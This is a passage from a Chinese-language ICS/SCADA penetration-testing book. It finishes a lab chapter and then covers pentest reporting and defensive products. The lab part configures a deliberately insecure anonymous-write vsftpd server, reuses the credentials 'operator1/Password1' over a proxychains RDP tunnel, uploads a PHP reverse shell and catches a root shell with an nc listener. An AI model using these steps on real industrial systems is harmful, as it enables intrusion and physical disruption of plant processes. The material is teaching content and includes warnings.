  6. 接下来,我们需要添加管理员角色,并将其分配给我们的Operator1用户,如下所示:图 12.17 – 角色

    图 12.17 – 角色

  7. 在创建了管理员角色并将其添加到Operator1用户帐户后,我们将通过创建新的身份提供者来更新身份提供者列表,如下所示:图 12.18 – 身份提供者

    图 12.18 – 身份提供者

  8. 一旦我们点击创建新的身份提供者链接,我们将看到一个包含多个部分的屏幕,用于配置新的身份。在这里,我们希望为新的身份提供者命名。我使用了ActiveDirectory,因为它可以作为一个明确的提醒。然后,我将用户来源更改为操作员,如下所示:图 12.19 – 基本信息

    图 12.19 – 基本信息

  9. 保存配置更新后,您应该会在列表中看到新创建的提供者,如下所示:图 12.20 – 添加身份提供者

    图 12.20 – 添加身份提供者

  10. 最后,我们希望更改通用网关安全设置。我们希望将系统身份提供者切换为ActiveDirectory,如下所示:图 12.21 – 切换身份提供者

    图 12.21 – 切换身份提供者

  11. 现在,我们必须通过使用在第十章中发现的域凭据,登录到 Ignition SCADA 用户界面,来测试我们的operator1域用户,凭据为 I Can Do It 420

图 12.22 – operator1 登录

图 12.22 – operator1 登录

在连接并测试我们的operator1凭据后,您应该对许多组织所遭遇的凭据重复使用问题有更清晰的认识。如果您在一个与域连接的系统中找到凭据,那么这些凭据很有可能帮助您访问网络内部的其他系统。

故事时间

在一次参与中,我通过利用一个用于为新计算机配置和将它们加入域的域服务帐户获得了对网络的立足点。由于某种原因,类似 Ansible 的脚本未能将该服务帐户从新配置的系统中移除,令我惊讶的是,它未能从所有计算机中移除该服务帐户。这个服务帐户是一个独特的发现,因为它允许我在系统中进行导航和跳跃,但最有趣的用途是它对域信息的访问权限。我使用这个帐户分析了域中的每个用户,并了解了他们的职务和他们拥有的计算机。这对于缩小我寻找直接访问 分布式控制系统DCS)的工作人员的范围非常有用。快速发现了特定的领导操作帐户以及该个人拥有的计算机后,我使用 远程桌面协议RDP)访问了该机器,然后转储了凭据,类似于我们在 第十章我能做到 420 中做的事情。在收集了用户的凭据后,我能够重新使用它们,通过保存在桌面上的一个 Putty 连接获得立足点。

PHP 设置

我们将在此实验配置部分,通过创建和更新我们的 ftp 文件夹及配置文件来完成。我们在 第一章使用虚拟化 中安装了 vsftp,现在我们将使用它。我们将执行以下步骤:

  1. 为我们的 ftp 服务器创建一个公共文件夹:

    sudo mkdir -p /var/ftp/pub

  2. 更改我们的公共文件夹的所有权:

    sudo chown nobody:nogroup /var/ftp/pub

    sudo chown -R ftp /var/ftp/pub

  3. 备份我们原始的 vsftp 配置文件:

    sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.orig

    sudo rm /etc/vsftpd.conf

  4. 使用易受攻击的设置创建一个新的配置文件:

    sudo echo "listen=NO" > /etc/vsftpd.conf

    sudo echo "listen_ipv6=YES" >> /etc/vsftpd.conf

    sudo echo "anonymous_enable=YES" >> /etc/vsftpd.conf

    sudo echo "local_enable=NO" >> /etc/vsftpd.conf

    sudo echo "write_enable=YES" >> /etc/vsftpd.conf

    sudo echo "anon_upload_enable=YES" >> /etc/vsftpd.conf

    sudo echo "anon_mkdir_write_enable=YES" >> /etc/vsftpd.conf

    sudo echo "anon_root=/var/ftp/" >> /etc/vsftpd.conf

    sudo echo "no_anon_password=YES" >> /etc/vsftpd.conf

    sudo echo "hide_ids=YES" >> /etc/vsftpd.conf

    sudo echo "anon_umask=022" >> /etc/vsftpd.conf

    sudo echo "anon_other_write_enable=YES" >> /etc/vsftpd.conf

    sudo echo "dirmessage_enable=YES" >> /etc/vsftpd.conf

    sudo echo "use_localtime=YES" >> /etc/vsftpd.conf

    sudo echo "xferlog_enable=YES" >> /etc/vsftpd.conf

    sudo echo "connect_from_port_20=YES" >> /etc/vsftpd.conf

    sudo echo "pam_service_name=vsftpd" >> /etc/vsftpd.conf

    sudo echo "utf8_filesystem=YES" >> /etc/vsftpd.conf

  5. 启动 PHP 服务器:

    sudo systemctl restart vsftpd

    echo 'Finished -Running Webserver'

    cd /var/ftp/pub

    php -S 0.0.0.0:8000

一旦实施,我们将拥有一个完全成型的 FTP 和一个运行中的 PHP Web 服务器。尽管这些工具可能看起来很简单,但它们确实复制了真实世界的安装和设置。在工业网络中经常发现 FTP 服务器是很常见的,因为它们通常用于传递控制软件更新、补丁甚至固件。找到这些服务器非常关键,因为通常它们允许读写访问,我们可以利用这一点在网络的这一级别上提升我们的特权。在下一节中,我们将建立一个隧道并使用代理链来访问 SCADA 网络的用户界面UI)控制。

用户界面控制

现在,我知道我们在实验室安装了一个 SCADA 系统进行测试,是的,我们在本书中一直在研究 Ignition SCADA,但是要知道,执行这些操作并实践这些攻击可以转化为真实的工业安装。所有 SCADA 和分布式控制系统DCS)的核心都是相同的基本原理:

  1. 接收输入。

  2. 对输入运行逻辑和例行程序。

  3. 交付输出到进程。

这意味着即使有无数家公司生产 SCADA 和 DCS 软件,它们的功能方式都是相同的。以下是一些您可能会看到的系统:

  • Weatherford Cygent SCADA

  • Schneider Electric Telvent

  • Emerson Zedi SolutionsOvationProgeaDeltaV

  • Aveva Citech SCADA

  • Honeywell Experion

  • ABB SCADAvantageSymphony800xA

  • GE Cimplicity

  • SurvalentOne SCADA

列出的是你可能会遇到的系统的广义列表。在世界各地的各个部分仍然使用许多旧的遗留系统的健康混合。往往是“如果它没坏,就不要修”,这意味着如果流程正在运行并产生收入,那么没有必要更换系统。因此,掌握这些系统的工作知识将使您在您的渗透测试职业中进一步利用它们。在本节中,我们将利用上一章节中获得的知识。我们将更深入地转向网络并到达我们的工作站,该工作站可以访问我们的 SCADA 系统。然后,我们将利用凭证重用攻击来访问 SCADA 系统的用户界面。

下图显示了我们到达 SCADA 用户界面的攻击路径:

Figure 12.23 – 攻击路径

图 12.23 – 攻击路径

使用动态 SSH 隧道和通过代理链运行xfreerdp,正如我们在第十一章中所述,Whoot…. I Have To Go Deep,我们可以建立与我们的 SCADA 主机的远程连接。作为一个快速的复习,运行以下命令将构建我们的动态 SSH 隧道:

ssh -D 9000 -fN operator1@172.16.0.4

然后,我们希望使用以下命令通过proxychains运行xfreerdp

proxychains xfreerdp /u:operator1 /p:Password1 /v:172.16.0.7

在生产环境中,你会发现工作站通常会登录到 SCADA 系统,或者至少会打开并运行 Web 门户以便于访问。最糟糕的情况是桌面上有一个链接。这显然不是黑客风骚,因为我们只是在利用糟糕的安全实践、不良政策和破碎的防火墙规则。然而,渗透测试系统的整个目的就是帮助客户发现系统中的缺陷,并利用、利用并记录这些缺陷。通常情况下,你会发现可重用凭证、默认凭证或供应商委托的凭证作为入侵点。

一旦我们的远程会话建立,使用我们的operator1**/**Password1凭证访问 Ignition 控制台,如下所示:

图 12.24 – 凭证重用

图 12.24 – 凭证重用

进入系统后,您应当记录下该 SCADA 解决方案能够访问的设备和控制项。我们希望建立我们的态势感知,并记录发现的内容以备报告之用。我们将在下一章详细讨论这一点。这里是一个快速检查清单,列出了需要查找的项目:

  • 该 SCADA 系统控制的是什么进程?

  • 哪些资产具有读写访问权限?

  • 这个系统的安全性是如何设置的?

  • 是否存在连接的数据库,如数据历史记录?

理解访问权限的大小可以决定对组织可能造成的影响程度。在用户界面访问层面,大多数人默认认为你对进程拥有最终控制权。是的,这是一个令人恐惧的场景,攻击者可能会关闭并禁用进程或工厂,但请思考更深层次和更广泛的场景。如果系统已连接到域,就像我们的 SCADA 系统一样,假设攻击者删除了配置呢?这意味着没有人能够通过域认证访问 SCADA 系统并进行更改。这将引发混乱,因为进程仍在运行,但现在失去了控制。

你可能会想,如果我可以关闭该进程,那为什么还会担心失去控制呢? 这是一个很好的问题,你是对的,但大多数操作仍然可以在本地手动执行。当发生此类事件时,趣味的是,它们发生的频率比你想象的还要高——并非来自威胁行为者,而是更多地来自配置错误——操作员会断开远程访问并手动运行该进程。看一下下面的截图;你能发现多少不同的项目,可以升级、降级、恢复或更改,从而在系统中引发混乱?

图 12.25 – 用户界面配置访问

图 12.25 – 用户界面配置访问

警告

再次强调,仅仅因为你能够获得这种级别的访问权限,并不意味着你应该实施或更改任何内容。这类行为可能会让你入狱。

提到抽象和带外操作的原因完全是出于报告目的。可能会遇到某个客户,采取了极大的努力来实施和部署安全措施,旨在阻止你的操作。你可能不会像本实验中展示的那样幸运,能够获得完全的控制和访问权限,因此你需要适应,灵活应对,并深入挖掘潜在的风险点以供报告。在下一节中,我们将通过使用脚本探索如何更深入地访问 SCADA 服务器。

脚本访问

在上一节中,我们讨论了通过获得 UI 控制所能执行的访问和控制级别。在本节中,我们将尝试获得更深入的 SCADA 服务器访问权限,这将使我们能够绕过 UI 控制,直接与物理设备进行通信。在我们的案例中,这将是 Koyo Click。

从我们的工作站出发,我们想要测试我们的 SCADA 服务器是否正在运行某种文件共享服务,并且该服务对内部网文件传输开放。运行以下命令:

ftp 192.168.2.11

这将引导我们到登录提示。 我通常会检查是否有服务正在使用匿名凭证访问。在这种情况下,我们将使用用户名 anonymous。从 230 登录成功 的响应可以看出,我们拥有匿名访问权限:

图 12.26 – FTP 连接到 SCADA

图 12.26 – FTP 连接到 SCADA

接下来,我们将切换到 pub 文件夹并检查我们的访问权限。我们可以通过在 pub 文件夹内创建一个文件夹来快速完成此操作,使用以下命令:

mkdir images

就这样,我们知道我们已经对该文件夹拥有写入权限:

图 12.27 – 对 pub 文件夹的写入访问

图 12.27 – 对 pub 文件夹的写入访问

是的,我们确实稍微作弊了一下,因为我们在本章的第一节中配置了这个 FTP 服务器,但我希望你能够感受一下流的工作方式,并通过访问系统的这一层级来了解流程。我们知道 SCADA 服务器的 8000 端口上有一个 PHP 服务器在监听,因此在我们的被攻破的工作站上,我们可以浏览该端口并查看服务器托管的数据。现在,这是一个开发服务器,这意味着不会像 Apache 或 互联网信息服务(IIS) 那样有本地目录列表,因此当你遇到 未找到 消息时,不必惊慌。这可以通过简单地在根文件夹中添加一个空白的 index.php 文件,或者创建一个执行目录列表的专用 PHP 文件来纠正,后者超出了本书的讨论范围。

接下来,我们希望将一个 PHP webshell 上传到我们的 FTP 服务器。当使用 Kali Linux 时,默认情况下,webshells会存储在/usr/share/webshells文件夹中,如果你查看该文件夹的列表,你应该能看到以下内容:

图 12.28 – webshells

图 12.28 – webshells

我们希望将 PHP php-reverse-shell.php 文件复制到我们的 Kali 工作目录中,然后做一些轻微的修改。如果你向下滚动文件,你会遇到以下内容:

图 12.29 – php-reverse-shell.php

图 12.29 – php-reverse-shell.php

在这里,我们要更改$ip信息和$port信息,使其与我们的 Kali Linux 主机的 IP 地址和我们选择的端口匹配。更改此信息后,我们将把该文件放到 Windows 7 工作站中。作为提醒,我总是使用以下命令:

python3 -m http.server

我这样做是为了生成一个临时服务器,我可以导航到该服务器并下载文件。一旦你将php-reverse-shell.php文件放到受害者的工作站计算机上,你必须运行以下命令,将文件传输到 SCADA 盒子上的 FTP 服务器:

上传 php-reverse-shell.php

如果一切正常,你应该看到以下输出:

图 12.30 – 上传 php-reverse-shell.php

图 12.30 – 上传 php-reverse-shell.php

接下来,我们希望通过运行以下命令,确保在 Kali 上设置了一个监听器:

nc -nvlp 4444

确保更改你的端口号,使其与webshell文件中配置的端口一致。在设置好监听器后,返回工作站并浏览到以下位置:

图 12.31 – 导航到反向 Shell

图 12.31 – 导航到反向 Shell

如果你返回到 Kali 监听器,你应该会看到你有一个新的 Shell,如下所示:

图 11.32 – 新的反向 Shell

图 11.32 – 新的反向 Shell

如你所见,我们已经获得了一个反向 Shell,并且我们以 root 身份运行。从这里开始,我们可以简单地将我们在第八章中编写的脚本,协议 202,复制进来,并通过开启和关闭灯光来利用物理 PLC。在专业的操作中,当我们获得这种级别的访问权限时,我们可以加载工具,发现 SCADA/DCS 系统连接的设备。根据合作的深入程度,你可能会被要求进一步探查,确定哪些硬件可能被破坏。

警告

我提醒你,像 UI 控制一样,在网络的这个层级进行更改和操作可能会产生不良影响,导致干扰、损坏甚至是系统崩溃。即使你的客户鼓励你深入探查,我还是建议你谨慎行事,因为更改的副作用通常只有在为时已晚时才会显现出来。

到目前为止,我们已经从上到下完全访问了网络。现在,我们可以移动并推动任何我们想要的变更和配置。我们完全控制了系统,这也是渗透测试人员职业中带来的激动的一部分。

总结

在本章中,我们通过向防火墙添加新接口进一步分割了我们的实验室网络。然后,我们利用我们在第十一章深入……我要深入了中学到的技巧,获取了一个动态 shell,并通过代理链到我们的工作站受害者启动了远程桌面会话。之后,我们讨论了我们在渗透测试旅程中可能遇到的各种 SCADA 和 DCS 系统。我们重复使用各种凭据来利用我们的 SCADA 系统的用户界面,然后利用配置错误的 FTP 服务器,反向获取了我们攻击盒的 shell。我们利用系统直至控制硬件,并在此过程中讨论了深入控制平面的风险。获取这么深入的立足点应该足以应对你参与的 99.99%的任务。

理解技术和深入的后果及其结果将成为总结报告中的重要补充。我们将在下一章中进行这一步骤,这是所有渗透测试任务的最后阶段:报告阶段。

第十三章: 被攻破,但怀有悔意

我们终于到达了目的地。请确保座椅靠背和餐桌已完全竖直。确保安全带已经系好,所有随身行李已妥善存放。我们现在处于渗透测试的阶段,必须收集所有捕获的信息,并将数据整理成报告。请知晓,如果没有报告,那么这次参与就等于没有发生。从商业角度来看,这实际上是渗透测试中最关键的部分。在本章中,我们将讨论如何构建报告模板,如何在模板中填写在渗透测试过程中找到的关键信息,最后提供一些修复建议,帮助解决安全漏洞。

在本章中,我们将涵盖以下主要主题:

  • 准备渗透测试报告

  • 关闭安全漏洞

技术要求

本章所需的内容如下:

  • 一种文字处理工具,如 Microsoft Word 或 Google Docs

  • 一种绘图工具,用于报告中的图形

准备渗透测试报告

准备报告时,最终取决于个人偏好,并且如果你在大公司工作,可能还涉及公司品牌。放下主题、图标、标志和品牌,在核心上,存在一个基本结构,它应该作为构建报告的指导方针。现在,根据你的教育背景,谈论报告结构可能显得多余;然而,建立一个清晰简洁的报告是至关重要的,因为如果客户无法跟上报告的流程,可能会是你和该客户的最后一次合作。

故事时间

我曾在工程采购建设EPC)公司工作多年。在那段时间里,我对搜索和替换所有文字处理器功能非常熟悉。建立一个可重复使用的报告模板集对渗透测试职业生涯至关重要。随着每次任务和交付,你可以修改、调整并优化模板,制作出一份精彩的报告。我个人认为,即使你是最优秀的技术渗透测试人员,但如果你无法写报告,即使你的生命取决于此,那你的职业生涯也将非常艰难。我认为,大型公司花费了多年时间建立他们的报告模板,而我们这些运营小公司的少数人,仍在不断打磨我们的报告交付内容。

我喜欢在每份报告的封面页上放上公司的 logo、报告名称以及客户公司的 logo,这有助于安抚营销团队。根据我在工程公司工作的背景,我接着会添加一个表格,内容包括以下信息:

  • 修订

  • 日期

  • 描述

  • 作者

  • 批准

报告应类似于以下内容:

图 13.1 – 变更控制

图 13.1 – 变更控制

修订号是跟踪你正在处理的报告版本的方式,以防有多个团队成员。日期应该很明显,因为你想跟踪修订完成的时间。描述列给出报告中发生的变更/操作的描述。作者是修订的作者,最后是审批者。这将有助于将报告转变为受控的工程文档,并且应该遵循变更管理过程。

然后,你需要构建一个高层次的总结,其中应包括一个评分机制,关联通过测试发现的风险级别。风险评分可以通过以下公式计算:

(攻击向量) x (发生的概率) x (复杂性等级) – (安全控制) = 网络风险。

以下标题将详细解释公式,并更深入地解释公式中的每个变量。

攻击向量

这可能是开放的服务、可重用的凭证、定向钓鱼攻击,以及在环境中发现的软件漏洞。你应该为这些技术提供数值加权。我还没有确定是否有最佳的方法来做到这一点。我感觉每个人都在将数值加权与特定攻击向量关联时遇到困难。

发生的概率

计算事件发生的概率是一个简单的统计问题,你可以使用经典的概率法则,通过将简单事件除以所有可能事件结果的总数来计算。如果我们以攻击向量事件为例,任何一个事件发生的概率为 ¼ 或 0.25。

复杂性等级

有许多方法可以计算复杂性。我个人简单使用专业水平量表:

  • 脚本小白(初学者)

  • 黑客(初级)

  • 职业渗透测试者(中级)

  • 国家级黑客(高级)

如果某个服务是开放的并且面向外部的,例如文件传输协议FTP)、网络文件系统NFS)或类似的服务,那么可以说这相对较低的复杂性等级会增加风险因素。

安全控制

这直接与客户用于保护其工业环境的技术、政策和程序相关。在进行测试时,提出非常直接的问题对于量化和分类控制非常重要。以下是一些示例问题:

  • 他们是否在使用防火墙?

  • 他们是否在使用传统的防火墙?

  • 防火墙规则是否存在问题?

  • 他们是否在使用没有人知道存在的疯狂黑站访问控制列表ACLs)?(这应该是另一天的故事)。

  • 他们是否在使用网络访问控制NAC)?

  • 他们是否在使用基于网络的入侵检测系统NIDS)?

  • 他们是否在使用基于主机的入侵检测系统HIDS)?

以我们在《复杂度级别》中讨论的最后一个例子为例,即使存在一个开放的服务暴露,如果它们有缓解措施,风险也会大大降低。

在总结之后,我们开始深入探讨。你可能在阅读本书时注意到,书中的节奏和结构有种独特的感觉。这是经过精心设计的;我们首先处理了一些实验室开发的基础知识,接触了硬件,然后我们开始探讨渗透测试中使用的技术和战术。这时我们大致遵循了以下计划:

  1. 信息收集

  2. 枚举

  3. 访问

  4. 特权升级

  5. 横向移动

  6. 影响分析

这并不是一成不变的,因此在前一句中使用了“松散”这个词。每个人都有自己适合自己的策略和节奏,随着时间的推移,你将找到最适合你和你未来客户的方法。我们开始处理上述计划中的第一个项目——信息收集,在第四章《开源忍者》中,我们探讨了Google Fu搜索 LinkedIn使用 Shodan.io 实验调查 ExploitDB穿越 NVD。执行这些任务让我们能够获取大量信息;在这些过程中,我们需要捕获重要、有用和可重复使用的数据并存储起来,以便整理用于信息收集部分。如果这些数据泄露了过多的细节,可能会让攻击者有机会渗透,我们就需要将这些信息传达给客户。我通常寻找的一些关键信息包括电子邮件地址和密码,尤其是那些出现在被泄露报告中的信息。以下链接可以帮助你快速检查自己的电子邮件是否被泄露,也可以检查客户的电子邮件是否被泄露:haveibeenpwned.com/(感谢网站的创始人 Troy Hunt)。还有许多需要付费订阅的服务,允许访问泄露数据以提取敏感信息。

在信息部分之后,我们进入报告的枚举部分。捕捉这些数据的工具可以在第七章《扫描 101》中找到,在这一章中,我们使用了NmapRustScanGobusterferoxbuster。使用这些工具可以帮助发现开放的端口、服务、Web 应用程序和隐藏页面。通过这些工具可以收集大量的数据,我曾看到提交的报告中包含了数页的 Nmap 扫描结果,我认为这些可能只是为了填充报告的页数。我提醒大家,添加多页扫描结果(如下面的图示所示)是错误的做法:

图 13.2 - 单一主机的 NMAP 扫描

图 13.2 - 单一主机的 NMAP 扫描

战略性地观察找到的机器以及识别的端口,并构建一个非常清晰简洁的数据表格。在第五章《如果你能,跨越我》,我们讨论了入侵检测系统IDS)技术,这是一个自动构建包含端口和服务的资产列表的绝佳解决方案。像 Forescout、Tenable、Cisco、Nozomi、Claroty 和 SCADAfence 等公司提供 90 天的试用,并测试 IDS 软件。你可以使用这些工具构建出适合展示的图像。我将使用一个名为 NetworkMiner 的开源工具,你可以通过以下链接进行安装:www.netresec.com/?page=networkminer

这是在对实验室设备进行枚举时能够收集到的一些信息示例:

图 13.3 – NetworkMiner 实验室详细信息

图 13.3 – NetworkMiner 实验室详细信息

现在我们已经完成了枚举阶段,我们要进入访问阶段。在这一步中,我们要清晰地说明我们是如何建立与客户网络的连接、利用了哪些服务、以及我们如何通过哪些用户账户进行入侵以获得访问权限,并附上图示,因为以下内容作为视觉辅助非常有用:

图 13.4 – 初始网络访问

图 13.4 – 初始网络访问

初始访问可能是通过枚举发现的一个开放服务,如前面的图所示,或者可能是由钓鱼邮件驱动的反向 shell,亦或是通过信息收集过程中获取的数据进行的凭证重用攻击。无论记录的方式如何,都是非常重要的,因为如果访问没有被记录,那就意味着访问从未发生过。

在记录初始攻击后,我们需要记录如何在系统上执行并获取权限提升。我们在第十一章《哇…我得深入研究》一章中讨论了水平垂直类型的权限提升。我们使用了Mimikatz传递票证,并使用WinPEAS来自动化发现更多的提升权限的方法和战术。在测试过程中,你应记录运行的过程、运行的机器以及发现的权限。下图是 WinPEAS 扫描的截图:

图 13.5 – WinPEAS 基础扫描

图 13.5 – WinPEAS 基础扫描

在记录特权提升后,我们接下来要讨论横向移动。我们想提到的是,我们是如何从企业网络迁移到操作网络,最后再转到控制层网络,可编程逻辑控制器PLCs)、远程终端单元RTUs)、控制器和其他工业设备都驻留在其中。现在,根据你所进行的渗透测试的参与程度和类型,横向移动可能仅仅是从操作网络到控制网络,基于客户将你放入操作网络这一事实。提供如下图所示的图表有助于客户的蓝队真正理解他们需要在哪些地方加强安全控制:

图 13.6 – 横向移动

图 13.6 – 横向移动

最后,在记录完所有前述步骤后,我们来到了最后一项——影响分析。影响分析可能是整份报告中最重要的部分,因为它是客户最初聘请渗透测试人员的理由。客户需要了解的是,是否是操作控制的暂时丧失、业务中断、停机、勒索,或是其他可能导致财务损失、灾难性故障甚至是生命丧失的严重问题。

故事时间

当我在加拿大北部工作时,我看到一个工程团队更改了两个控制器的配置。一个控制器负责管理和操作压缩机,另一个控制器则操作泵。直到太晚才发现错误;压缩机的所有密封被炸裂,泵发生了空化。无需多言,由于一个简单的操作——将新配置推送到 PLC,导致了严重的中断和财务损失,这与我们在第三章中所做的操作类似,我爱我的比特 – 实验室设置。幸运的是没有生命损失,但这是一个警示故事,提醒大家在获得控制层访问权限时必须保持极度小心。如果设计系统的自动化工程师都能犯下简单的错误,造成数千万美元的损失,那么想象一下,渗透测试人员通过扫描、脚本、以及向 PLC、RTU、人机界面HMIs)或控制器推送不同配置所能造成的破坏。

影响分析部分应该非常简洁明了,并与横向移动和权限升级相关。在第十二章我看到了未来中,我们获得了 SCADA 系统用户界面的访问权限,这是绝对系统控制的一个很好的例子。我们将在影响分析中记录我们在第十二章我看到了未来中的发现,因为我们能够重新使用在运营网络中发现的凭证;我们可以验证 SCADA 系统,并最终将每个用户锁定并关闭系统。这里的关键是了解客户所在的行业,这应该在前期接洽、启动会议或信息收集步骤中发现。不同的行业将有不同的影响程度,了解这一点对于记录潜在损失至关重要。

在这一部分,我们讨论了一个通用格式,你可以用来制定全面的渗透报告。我们谈到了结构、内容和影响,以及要遵循的高层战略。再次强调,这并不是撰写报告的唯一方式,每个人都可以根据自己的风格和方式来构建报告。最终,还是取决于客户的行业和个人品牌。在接下来的部分中,我们将讨论一些修复战术,以弥补安全漏洞,最终帮助蓝队建立更好的防御策略。

弥补安全漏洞

在渗透测试中,并非总是充满黑暗和沮丧。我们确实有工作的亮点,那就是通过传达安全建议来帮助防范在测试中使用的战术和技术。在这一部分,我们将讨论一些可以实施的安全技术,帮助加强蓝队的安全防御。

MITRE ATT&CK

在我们直接进入技术方面之前,我想谈谈 MITRE ATT&CK 矩阵,可以通过以下链接找到:collaborate.mitre.org/attackics/index.php/Main_Page

这是一个很好的视觉展示,呈现了对抗性战术、技术与流程TTPs)。我建议逐项检查并验证你的组织是否容易受到任何已记录的 TTP 攻击。使用我们在第十章中讨论的横向移动战术,我能做到 420第十一章哇...我得深入了解,以及第十二章我看到了未来,我们将重点讨论有效账户技巧,如下图所示:

图 13.7 – 横向移动战术

图 13.7 – 横向移动战术

正如我们在第十二章中讨论的,我看见未来,密码重用是工业控制系统(ICS)领域的一个主要问题。在有效账户技术下,你将找到该技术的描述、它可能影响的资产、利用有效账户作为技术来入侵组织的真实攻击案例,最重要的是,缓解措施。下图展示了有效账户技术的截图:

图 13.8 – 有效账户技术

图 13.8 – 有效账户技术

如前所述,缓解措施是蓝队可以实施的非常重要的信息,这些实施将提升公司安全成熟度。下图展示了可以采取的缓解措施,以保护你的组织免受使用有效账户技术进行横向移动战术的攻击:

图 13.9 – 有效账户技术缓解措施

图 13.9 – 有效账户技术缓解措施

有一些自动化系统可以帮助简化这一过程。然而,它们的价格相当高。如果你点击此链接,你将能看到一些这些工具的结果,以及它们如何在检测数量、分析覆盖率、遥测覆盖率和 2017 年 Triton 攻击的可见性方面进行对比:attackevals.mitre-engenuity.org/ics/triton/

在我们讨论完 MITRE ATT&CK 矩阵后,我们将继续探讨可以采用的技术,以帮助提升防御策略。我知道,当人们阅读这一部分时,他们会建议姿态、流程和深度防御更为重要,这样说也没有错。然而,这些话题本质上非常主观,我们在讨论这些话题时容易走进死胡同。我选择技术这一话题,原因很简单,大家都能同意的是,新产品的预算比战略性培训计划更容易获得批准。而且,为了至少缓解 90%的大多数攻击,必须设立一些最低标准。

工业防火墙

最古老且最基础的安全技术之一就是防火墙。你可能会惊讶地发现,有些组织仍然没有在其工业环境中使用防火墙。这类组织虽然越来越少,尤其是在经历了诸多国际工业事故之后,但它们仍然存在。我们在第十一章中简要讨论了防火墙,哇...我得深入了解,并对 pfSense 防火墙进行了高层次的配置。在本节中,我们将讨论在渗透测试过程中可能遇到的工业防火墙。

Cisco ISA3000 是一款你肯定会遇到的工业防火墙,它在石油和天然气行业中非常普及。如果你遇到一个使用思科核心交换机的客户,那么在较低的网络层级中找到 ISA3000 的可能性非常高。ISA3000 有很多亮点,比如它能够与更大的思科生态系统集成,包括身份服务引擎ISE)、Cyber VisionSecureXThreat Response和其他思科安全产品。ISA3000 支持容器化,这使得组织能够快速启动思科 Cyber Vision,这是一款工业入侵检测系统。由于容器化的存在,减少了额外硬件和扩展所需的开销。接下来,借助 ISE 集成,它能够通过 ISE 发布安全组标签SGTs),使新发现的设备立即被隔离,这将自动创建网络规则。当在启用了这种集成的环境中进行渗透测试时,这种行为可能会非常令人沮丧。你会注意到,你能够访问某些资产的时间很短,片刻之后,因发布的规则失去与相同资产的通信。有关此内容的更多信息,请访问以下链接:www.cisco.com/c/en/us/products/security/industrial-security-appliance-isa/index.html

Palo Alto PA-220R 在许多独特的行业中获得了惊人的关注,它是我在与工业网络合作时遇到的第二常见防火墙。就像思科一样,Palo Alto 将坚固耐用的防火墙集成到了更大的生态系统中。在我看来,最有趣的功能之一就是 Palo Alto 的 WildFire 服务。WildFire 是一个共享社区服务,任何被检测到和制作的内容都会被检测并在订阅服务中共享。如果系统中检测到恶意文件,它会被标记,并生成一个签名,提交到 WildFire。任何订阅了 WildFire 的客户都可以自动下载这个签名,并将其添加到 PA-220R 中的检测签名列表中。如果启用此服务,它可能会非常烦人,因为它需要一些高级策略,使用MSFvenomShikata Ga Nai,后者是一种多态编码器,用于生成反向 shell 代码。这有助于防止 WildFire 阻止包含 shell 代码的独特文件在整个行业中被拦截。有关 Palo Alto 坚固防火墙的更多信息,请访问以下链接:www.paloaltonetworks.com/network-security/next-generation-firewall/pa-220r

Check Point Quantum Rugged 1570R 是另一款进入ICS领域的下一代防火墙,我在一些公用事业公司中确实见过这种设备。它支持 1500 种 ICS 协议,我可以肯定地说其中有不少协议,尤其是我们在第八章中讨论的协议 202。以下链接将提供更多信息:www.checkpoint.com/quantum/next-generation-firewall/industrial-control-systems-appliances/

其他知名的防火墙品牌包括 Fortinet、Hirschmann、Red Lion 和 Stormshield,仅举几例。

在接下来的章节中,我们将讨论各种 OT 监控解决方案。

OT 监控解决方案

一段时间以来,OT 监控解决方案一直是工业网络中事实上的技术标准。这些解决方案结合了代理、规则、基准、策略和特征码。其部署方式是将代理安装在工作站、数据历史记录仪、SCADA 服务器和其他设备上,并让这些代理收集其所在资产的关键操作信息,并将其发送到汇总点。在汇总点,应用规则和特征码来检测端点上的变化或异常行为。这将生成警报和事件,安全团队可以进行监控。以下图示展示了我们实验室内典型安装的样子:

图 13.10 – 一种典型的 OT 监控解决方案

图 13.10 – 一种典型的 OT 监控解决方案

Industrial Defender 的解决方案,现在称为 ASM,是业内最早推出的工业网络安全解决方案之一,可能是第一个。这款产品在六七个大洲的多个行业中都有应用,并且在电力公用事业行业中占据了重要地位,因为它支持北美电力可靠性公司NERC关键基础设施保护CIP)标准,并提供了自动化解决方案,帮助公用事业公司遵守合规要求。该产品使客户能够全面掌握网络中每个资产的详细信息,包括已安装的软件、拥有访问权限的用户、已应用的防火墙规则、已安装的补丁、运行的服务等等。如果在本地创建了新的帐户,系统会立即触发警报并发送给安全团队,因为该资产的基线已被更改。以下链接可提供更多解决方案信息:www.industrialdefender.com/ot-cyber-risk-management/

PAS 的 Cyber Integrity 是工业防御者 ASM 解决方案的直接竞争对手。两者都提供类似的功能,以应对工业网络安全领域所面临的强化任务。PAS 具有一个独特的功能,可以让客户跟踪其 PLC、RTU 和控制器源代码,并对文件进行差异比较,寻找可能出现的重大问题,此外,还提供了源代码的金本副本,便于快速回滚。如果你点击这个链接,你将找到关于 Cyber Integrity 的更多信息:cyber.pas.com/cyber-integrity/ot-ics-cyber-integrity

其他值得注意的 OT 监控产品包括 Verve 和 Tripwire。

在下一部分中,我们将讨论IDS

.

入侵检测系统

第五章如果你能挡住我》中,我详细讲解了入侵检测系统(IDS),现在我们再次谈论它们,因为它们确实在行业中掀起了风暴,在写这本书的时候,Dragos、Claroty 和 Nozomi Networks 都已分别筹集了 1 亿美元的额外资金,这意味着这些技术无疑有发展潜力,并得到了机构投资者的信心。Dale Peterson 和 Roger Collins 在本书写作的二十多年前创办了一家公司,名为 Digital Bond,他们为 IDS 领域编写了首个签名。我想知道当时他们是否知道,行业将以如此戏剧化的方式发展,像 SecurityMatters、Indegy、CyberX 和 Sentryo 这样的公司被收购时的估值接近 5 亿美元,随后这三家公司又获得了超过 3 亿美元的额外资金,再加上 SCADAfence 和 Armis 等公司,这使得整个行业的估值突破了 10 亿美元。如果你遇到的公司没有 IDS,我认为这在推荐时是一个轻松的胜利。看一下下面的图,你可以看到 IDS 传感器的典型布置,尽管你可以在网络中分布多个传感器:

图 13.11 – 一个典型的 IDS 安装

图 13.11 – 一个典型的 IDS 安装

Dragos 平台结合了最新的行业情报和顶级人才,开发出一个全面的解决方案。该产品的独特之处在于它将经过实战考验的操作手册融入到解决方案中。在检测和警报功能之外,平台还有一个模块为客户提供行动计划,帮助其弥补发现的安全漏洞。这使得产品可以由非行业专家管理和监控,而这正是工业网络安全中的最大问题之一——严重缺乏技能型人才。如果你接触到这项技术,知道它有很大概率会导致你的设备被整个开关设备列入黑名单。有关该平台的更多信息,请访问此链接:www.dragos.com/platform/

